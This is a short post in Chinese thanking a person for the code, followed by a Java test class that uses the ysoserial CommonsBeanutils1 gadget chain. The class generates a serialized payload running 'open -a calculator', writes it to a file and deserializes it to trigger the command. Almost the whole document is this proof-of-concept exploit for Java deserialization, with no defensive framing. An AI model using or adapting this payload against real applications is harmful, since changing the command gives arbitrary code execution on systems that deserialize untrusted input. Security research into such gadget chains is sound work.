感谢清水大佬的帮助,这个代码是他的
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import ysoserial.payloads.CommonsBeanutils1;
public class Test {
public Test() {
}
public static void main(String[] args) throws Exception {
CommonsBeanutils1 cbu1 = new CommonsBeanutils1();
Object obj = cbu1.getObject("open -a calculator");
FileOutputStream fos = new FileOutputStream("1.txt");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
ois.readObject();
}
}